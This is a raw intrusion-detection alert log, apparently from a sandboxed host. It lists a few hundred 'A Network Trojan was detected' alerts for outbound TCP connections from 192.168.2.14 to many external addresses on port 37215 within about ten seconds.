2025-02-12T16:53:50.714294+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48258	2.204.175.131	37215	TCP
2025-02-12T16:53:50.714582+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57324	105.80.42.132	37215	TCP
2025-02-12T16:53:50.714656+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53712	41.92.9.95	37215	TCP
2025-02-12T16:53:50.714724+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60938	197.157.141.48	37215	TCP
2025-02-12T16:53:50.714768+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56742	118.21.194.146	37215	TCP
2025-02-12T16:53:50.714836+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47390	77.233.147.67	37215	TCP
2025-02-12T16:53:50.716705+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34520	157.142.205.200	37215	TCP
2025-02-12T16:53:50.717820+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42294	197.174.45.10	37215	TCP
2025-02-12T16:53:50.717872+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60774	41.50.204.3	37215	TCP
2025-02-12T16:53:50.718117+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53570	197.59.27.224	37215	TCP
2025-02-12T16:53:50.729560+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36296	1.73.155.71	37215	TCP
2025-02-12T16:53:50.730118+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47340	157.24.166.54	37215	TCP
2025-02-12T16:53:50.731379+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33666	197.218.25.0	37215	TCP
2025-02-12T16:53:50.731737+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40956	41.166.220.161	37215	TCP
2025-02-12T16:53:50.731815+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34200	41.17.116.55	37215	TCP
2025-02-12T16:53:50.732157+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38824	197.160.119.189	37215	TCP
2025-02-12T16:53:50.732249+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36648	41.212.164.207	37215	TCP
2025-02-12T16:53:50.733340+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58176	157.233.165.209	37215	TCP
2025-02-12T16:53:50.733521+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54714	197.60.74.66	37215	TCP
2025-02-12T16:53:50.733634+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45340	41.140.67.233	37215	TCP
2025-02-12T16:53:50.734083+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60268	203.179.240.193	37215	TCP
2025-02-12T16:53:50.734266+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58914	157.171.48.154	37215	TCP
2025-02-12T16:53:50.734653+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44610	59.71.192.192	37215	TCP
2025-02-12T16:53:50.735406+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33682	41.28.72.236	37215	TCP
2025-02-12T16:53:50.746958+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60734	152.218.133.208	37215	TCP
2025-02-12T16:53:51.718978+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51268	197.155.14.29	37215	TCP
2025-02-12T16:53:51.719088+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49290	126.33.174.130	37215	TCP
2025-02-12T16:53:51.761102+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49242	41.12.245.179	37215	TCP
2025-02-12T16:53:51.761192+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59764	41.229.239.87	37215	TCP
2025-02-12T16:53:51.762160+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43942	197.115.69.203	37215	TCP
2025-02-12T16:53:51.766094+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55150	212.235.20.150	37215	TCP
2025-02-12T16:53:51.766187+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59812	157.247.49.213	37215	TCP
2025-02-12T16:53:51.766188+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54696	92.83.230.224	37215	TCP
2025-02-12T16:53:52.792403+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39238	157.254.50.182	37215	TCP
2025-02-12T16:53:52.792611+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59232	200.181.115.162	37215	TCP
2025-02-12T16:53:52.792659+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49720	40.207.232.189	37215	TCP
2025-02-12T16:53:52.793520+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48138	41.129.242.138	37215	TCP
2025-02-12T16:53:52.793830+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42114	157.144.105.141	37215	TCP
2025-02-12T16:53:52.793919+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51292	197.1.121.235	37215	TCP
2025-02-12T16:53:52.794121+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45938	110.213.40.11	37215	TCP
2025-02-12T16:53:52.794206+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59016	197.26.168.29	37215	TCP
2025-02-12T16:53:52.794319+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34670	197.116.23.70	37215	TCP
2025-02-12T16:53:52.794518+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50854	41.131.166.127	37215	TCP
2025-02-12T16:53:52.794645+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44550	41.202.186.2	37215	TCP
2025-02-12T16:53:52.794709+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48558	157.39.28.118	37215	TCP
2025-02-12T16:53:52.795388+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57756	41.59.178.71	37215	TCP
2025-02-12T16:53:52.795999+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56606	72.60.68.16	37215	TCP
2025-02-12T16:53:52.796308+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60604	197.22.33.242	37215	TCP
2025-02-12T16:53:52.797198+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58658	157.149.31.95	37215	TCP
2025-02-12T16:53:52.809355+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54346	71.64.57.246	37215	TCP
2025-02-12T16:53:52.809534+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38296	197.187.253.39	37215	TCP
2025-02-12T16:53:52.810760+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47706	41.205.254.15	37215	TCP
2025-02-12T16:53:52.810824+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45846	197.252.237.185	37215	TCP
2025-02-12T16:53:52.811597+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46218	157.156.45.154	37215	TCP
2025-02-12T16:53:52.811646+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48132	157.195.69.164	37215	TCP
2025-02-12T16:53:54.010950+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50872	41.145.224.114	37215	TCP
2025-02-12T16:53:54.013791+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36396	41.214.161.186	37215	TCP
2025-02-12T16:53:54.028489+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43374	178.251.143.19	37215	TCP
2025-02-12T16:53:54.030360+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33256	157.216.107.227	37215	TCP
2025-02-12T16:53:54.823501+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51208	64.83.149.59	37215	TCP
2025-02-12T16:53:54.823587+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56642	197.158.203.23	37215	TCP
2025-02-12T16:53:54.824189+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34488	14.187.137.94	37215	TCP
2025-02-12T16:53:54.839074+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35698	197.102.96.209	37215	TCP
2025-02-12T16:53:54.839167+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44968	199.15.249.10	37215	TCP
2025-02-12T16:53:54.854996+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43390	41.16.1.220	37215	TCP
2025-02-12T16:53:54.855153+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45574	41.143.114.168	37215	TCP
2025-02-12T16:53:54.855245+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48482	157.77.45.62	37215	TCP
2025-02-12T16:53:54.855338+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55844	197.204.202.101	37215	TCP
2025-02-12T16:53:54.855385+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35448	197.170.127.114	37215	TCP
2025-02-12T16:53:54.855521+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59366	41.159.203.175	37215	TCP
2025-02-12T16:53:54.855669+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41564	25.161.153.252	37215	TCP
2025-02-12T16:53:54.856634+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54454	41.156.255.152	37215	TCP
2025-02-12T16:53:54.857252+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44928	197.47.234.247	37215	TCP
2025-02-12T16:53:54.857733+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32932	157.100.84.114	37215	TCP
2025-02-12T16:53:54.857990+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57090	207.178.108.93	37215	TCP
2025-02-12T16:53:54.858919+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44496	108.169.253.222	37215	TCP
2025-02-12T16:53:54.859144+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49730	197.88.120.185	37215	TCP
2025-02-12T16:53:54.859344+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39450	197.81.156.79	37215	TCP
2025-02-12T16:53:54.859582+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43642	157.145.73.11	37215	TCP
2025-02-12T16:53:54.860646+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34880	60.15.140.205	37215	TCP
2025-02-12T16:53:54.860804+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58342	197.187.104.250	37215	TCP
2025-02-12T16:53:54.861125+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42596	157.114.234.1	37215	TCP
2025-02-12T16:53:54.861875+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34280	41.62.175.57	37215	TCP
2025-02-12T16:53:54.872412+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60642	158.51.0.125	37215	TCP
2025-02-12T16:53:54.874560+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42890	41.57.161.60	37215	TCP
2025-02-12T16:53:54.891506+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56628	64.194.244.137	37215	TCP
2025-02-12T16:53:55.823736+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42410	44.192.72.240	37215	TCP
2025-02-12T16:53:55.839295+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40516	79.219.216.179	37215	TCP
2025-02-12T16:53:55.839339+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40128	112.205.52.246	37215	TCP
2025-02-12T16:53:55.840965+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56178	112.252.184.30	37215	TCP
2025-02-12T16:53:55.842934+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46518	130.215.143.16	37215	TCP
2025-02-12T16:53:55.843341+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50460	197.186.90.193	37215	TCP
2025-02-12T16:53:55.843799+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40168	197.189.107.157	37215	TCP
2025-02-12T16:53:55.886266+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60258	197.107.222.64	37215	TCP
2025-02-12T16:53:55.887347+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57114	197.172.82.50	37215	TCP
2025-02-12T16:53:55.887627+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37340	157.249.146.219	37215	TCP
2025-02-12T16:53:55.887652+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59246	41.227.243.136	37215	TCP
2025-02-12T16:53:55.887788+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34060	41.249.187.23	37215	TCP
2025-02-12T16:53:55.887831+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52024	41.113.97.35	37215	TCP
2025-02-12T16:53:55.887842+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32998	144.204.158.255	37215	TCP
2025-02-12T16:53:55.888101+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40528	157.182.107.76	37215	TCP
2025-02-12T16:53:55.888485+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54744	41.60.211.222	37215	TCP
2025-02-12T16:53:55.889091+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59180	197.52.133.109	37215	TCP
2025-02-12T16:53:55.892628+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57546	157.54.145.155	37215	TCP
2025-02-12T16:53:55.905670+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34422	130.42.111.152	37215	TCP
2025-02-12T16:53:55.906251+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51208	53.152.69.166	37215	TCP
2025-02-12T16:53:55.921079+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46442	157.136.31.56	37215	TCP
2025-02-12T16:53:56.870915+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35942	41.142.42.50	37215	TCP
2025-02-12T16:53:56.889541+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41988	197.42.199.145	37215	TCP
2025-02-12T16:53:56.889644+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48934	32.7.85.186	37215	TCP
2025-02-12T16:53:56.889985+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50752	197.197.128.170	37215	TCP
2025-02-12T16:53:56.890901+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52264	41.83.191.33	37215	TCP
2025-02-12T16:53:56.905847+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46282	157.122.53.63	37215	TCP
2025-02-12T16:53:56.906143+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43724	197.23.139.146	37215	TCP
2025-02-12T16:53:56.917436+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33292	197.196.58.72	37215	TCP
2025-02-12T16:53:56.920289+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33920	111.15.250.38	37215	TCP
2025-02-12T16:53:56.932831+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57292	41.75.82.144	37215	TCP
2025-02-12T16:53:56.964141+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46398	41.82.62.157	37215	TCP
2025-02-12T16:53:56.964204+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40370	157.169.11.14	37215	TCP
2025-02-12T16:53:56.964425+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52336	157.93.171.38	37215	TCP
2025-02-12T16:53:56.979640+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52094	157.252.112.235	37215	TCP
2025-02-12T16:53:56.979679+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37044	197.109.163.199	37215	TCP
2025-02-12T16:53:56.980461+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33172	157.186.100.241	37215	TCP
2025-02-12T16:53:56.981413+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42528	24.26.49.146	37215	TCP
2025-02-12T16:53:56.996046+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38488	41.165.26.102	37215	TCP
2025-02-12T16:53:57.057378+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43520	197.129.98.176	37215	TCP
2025-02-12T16:53:57.057772+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48680	41.253.237.194	37215	TCP
2025-02-12T16:53:57.057835+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43216	157.50.104.103	37215	TCP
2025-02-12T16:53:57.059794+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49328	197.34.224.42	37215	TCP
2025-02-12T16:53:57.060801+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55378	41.87.246.137	37215	TCP
2025-02-12T16:53:57.061724+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52692	65.228.180.44	37215	TCP
2025-02-12T16:53:57.090033+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35632	197.81.242.231	37215	TCP
2025-02-12T16:53:57.091036+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50388	41.156.250.191	37215	TCP
2025-02-12T16:53:57.094045+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51132	157.140.198.44	37215	TCP
2025-02-12T16:53:57.107030+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52774	198.121.253.78	37215	TCP
2025-02-12T16:53:57.226262+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38338	202.125.141.17	37215	TCP
2025-02-12T16:53:57.941128+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54328	41.142.133.150	37215	TCP
2025-02-12T16:53:58.012777+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52184	93.242.26.218	37215	TCP
2025-02-12T16:53:58.014630+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56740	41.73.130.60	37215	TCP
2025-02-12T16:53:58.784441+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58586	157.90.236.241	37215	TCP
2025-02-12T16:53:59.026532+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42616	159.91.150.244	37215	TCP
2025-02-12T16:53:59.026617+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38920	36.30.160.145	37215	TCP
2025-02-12T16:53:59.042375+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59320	41.119.241.194	37215	TCP
2025-02-12T16:53:59.060839+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56058	157.20.237.141	37215	TCP
2025-02-12T16:53:59.076531+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43396	63.72.38.206	37215	TCP
2025-02-12T16:53:59.089392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41040	2.43.78.95	37215	TCP
2025-02-12T16:53:59.093178+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34340	197.146.93.185	37215	TCP
2025-02-12T16:53:59.093379+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40994	157.4.75.134	37215	TCP
2025-02-12T16:53:59.105894+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42636	41.137.192.237	37215	TCP
2025-02-12T16:53:59.107337+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59710	197.56.56.143	37215	TCP
2025-02-12T16:53:59.110453+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43416	197.1.156.10	37215	TCP
2025-02-12T16:53:59.121021+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49264	51.3.27.78	37215	TCP
2025-02-12T16:53:59.155544+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46332	163.115.100.210	37215	TCP
2025-02-12T16:53:59.167621+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36314	197.193.11.181	37215	TCP
2025-02-12T16:53:59.169077+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60098	41.19.13.222	37215	TCP
2025-02-12T16:53:59.187339+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48406	197.66.241.100	37215	TCP
2025-02-12T16:53:59.204930+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48526	121.220.108.168	37215	TCP
2025-02-12T16:53:59.230578+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35866	197.111.110.243	37215	TCP
2025-02-12T16:53:59.230578+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45538	41.50.231.229	37215	TCP
2025-02-12T16:53:59.231033+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52200	197.157.223.228	37215	TCP
2025-02-12T16:53:59.231040+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36780	197.131.13.142	37215	TCP
2025-02-12T16:53:59.231550+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44220	41.126.187.21	37215	TCP
2025-02-12T16:53:59.233880+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50606	41.210.176.184	37215	TCP
2025-02-12T16:53:59.249321+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51904	41.229.252.217	37215	TCP
2025-02-12T16:53:59.261080+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44014	111.229.197.144	37215	TCP
2025-02-12T16:53:59.296256+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60602	197.167.48.164	37215	TCP
2025-02-12T16:53:59.297115+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59200	197.75.154.235	37215	TCP
2025-02-12T16:53:59.343674+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59194	197.54.74.163	37215	TCP
2025-02-12T16:53:59.344699+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51566	41.68.230.51	37215	TCP
2025-02-12T16:53:59.344929+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41660	197.53.83.223	37215	TCP
2025-02-12T16:53:59.355028+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37560	197.52.141.239	37215	TCP
2025-02-12T16:53:59.357536+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52588	106.144.88.69	37215	TCP
2025-02-12T16:53:59.374512+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54172	36.61.133.107	37215	TCP
2025-02-12T16:53:59.385839+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48138	197.250.255.227	37215	TCP
2025-02-12T16:53:59.387763+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60214	41.60.62.117	37215	TCP
2025-02-12T16:53:59.391337+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47398	157.147.236.246	37215	TCP
2025-02-12T16:53:59.432911+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49848	197.62.9.118	37215	TCP
2025-02-12T16:53:59.432984+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33338	197.132.111.152	37215	TCP
2025-02-12T16:53:59.433015+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45446	157.37.158.201	37215	TCP
2025-02-12T16:53:59.433087+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46812	197.233.13.154	37215	TCP
2025-02-12T16:53:59.448478+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54614	41.114.195.81	37215	TCP
2025-02-12T16:53:59.452461+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35084	197.238.148.9	37215	TCP
2025-02-12T16:53:59.465847+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50470	41.214.8.4	37215	TCP
2025-02-12T16:53:59.467529+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46148	41.152.24.15	37215	TCP
2025-02-12T16:53:59.484447+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42144	197.153.58.81	37215	TCP
2025-02-12T16:53:59.515343+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34958	157.212.91.214	37215	TCP
2025-02-12T16:53:59.518443+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50858	197.152.24.245	37215	TCP
2025-02-12T16:53:59.531341+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43662	157.229.226.24	37215	TCP
2025-02-12T16:53:59.542644+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41118	197.217.179.7	37215	TCP
2025-02-12T16:53:59.544129+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35922	116.87.185.13	37215	TCP
2025-02-12T16:54:00.059338+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39784	157.105.87.92	37215	TCP
2025-02-12T16:54:00.059638+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49808	80.251.187.207	37215	TCP
2025-02-12T16:54:00.075221+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39558	141.240.184.212	37215	TCP
2025-02-12T16:54:00.077194+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43430	157.111.211.143	37215	TCP
2025-02-12T16:54:00.093230+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45654	41.133.236.222	37215	TCP
2025-02-12T16:54:00.093310+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43872	157.136.9.224	37215	TCP
2025-02-12T16:54:00.102320+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35116	197.12.141.128	37215	TCP
2025-02-12T16:54:00.102320+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41694	108.181.94.192	37215	TCP
2025-02-12T16:54:00.102320+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52780	47.163.76.101	37215	TCP
2025-02-12T16:54:00.102329+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48048	165.195.56.179	37215	TCP
2025-02-12T16:54:00.102332+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51746	197.8.223.242	37215	TCP
2025-02-12T16:54:00.102332+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58452	197.183.88.25	37215	TCP
2025-02-12T16:54:00.102335+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42092	53.98.20.79	37215	TCP
2025-02-12T16:54:00.102339+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52672	41.90.155.35	37215	TCP
2025-02-12T16:54:00.102354+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40158	41.121.61.185	37215	TCP
2025-02-12T16:54:00.102355+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42300	41.57.106.177	37215	TCP
2025-02-12T16:54:00.102355+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56748	197.85.196.136	37215	TCP
2025-02-12T16:54:00.102356+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60480	95.101.117.131	37215	TCP
2025-02-12T16:54:00.102356+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44594	197.198.128.25	37215	TCP
2025-02-12T16:54:00.102364+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40874	197.79.245.245	37215	TCP
2025-02-12T16:54:00.102364+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58128	159.129.214.126	37215	TCP
2025-02-12T16:54:00.102377+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38632	178.162.185.154	37215	TCP
2025-02-12T16:54:00.102377+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46762	157.75.191.103	37215	TCP
2025-02-12T16:54:00.102378+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58684	197.61.71.188	37215	TCP
2025-02-12T16:54:00.102384+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56860	197.206.192.39	37215	TCP
2025-02-12T16:54:00.102402+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37510	197.103.11.7	37215	TCP
2025-02-12T16:54:00.102406+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43074	41.226.101.115	37215	TCP
2025-02-12T16:54:00.102412+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43100	197.93.245.2	37215	TCP
2025-02-12T16:54:00.102414+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36118	63.10.161.14	37215	TCP
2025-02-12T16:54:00.102414+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37462	23.222.113.28	37215	TCP
2025-02-12T16:54:00.102426+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46576	198.192.36.157	37215	TCP
2025-02-12T16:54:00.102431+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60834	197.1.201.116	37215	TCP
2025-02-12T16:54:00.102431+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34174	105.32.250.9	37215	TCP
2025-02-12T16:54:00.102443+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34680	157.11.73.39	37215	TCP
2025-02-12T16:54:00.102445+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42488	157.129.17.62	37215	TCP
2025-02-12T16:54:00.102449+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46270	157.182.92.90	37215	TCP
2025-02-12T16:54:00.102451+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39496	18.59.207.187	37215	TCP
2025-02-12T16:54:00.102453+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48190	123.159.73.95	37215	TCP
2025-02-12T16:54:00.102463+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43764	197.137.5.9	37215	TCP
2025-02-12T16:54:00.102473+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34690	151.193.155.166	37215	TCP
2025-02-12T16:54:00.102473+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43372	197.251.161.30	37215	TCP
2025-02-12T16:54:00.102476+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38148	157.2.78.251	37215	TCP
2025-02-12T16:54:00.102482+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55636	40.69.140.112	37215	TCP
2025-02-12T16:54:00.102493+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47510	157.136.15.141	37215	TCP
2025-02-12T16:54:00.102496+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51664	103.99.116.211	37215	TCP
2025-02-12T16:54:00.102496+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44188	197.69.44.95	37215	TCP
2025-02-12T16:54:00.102505+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42002	157.182.114.177	37215	TCP
2025-02-12T16:54:00.102509+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53134	198.198.217.227	37215	TCP
2025-02-12T16:54:00.102523+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47528	183.187.196.228	37215	TCP
2025-02-12T16:54:00.102525+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52248	197.233.138.149	37215	TCP
2025-02-12T16:54:00.102531+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46104	197.240.24.255	37215	TCP
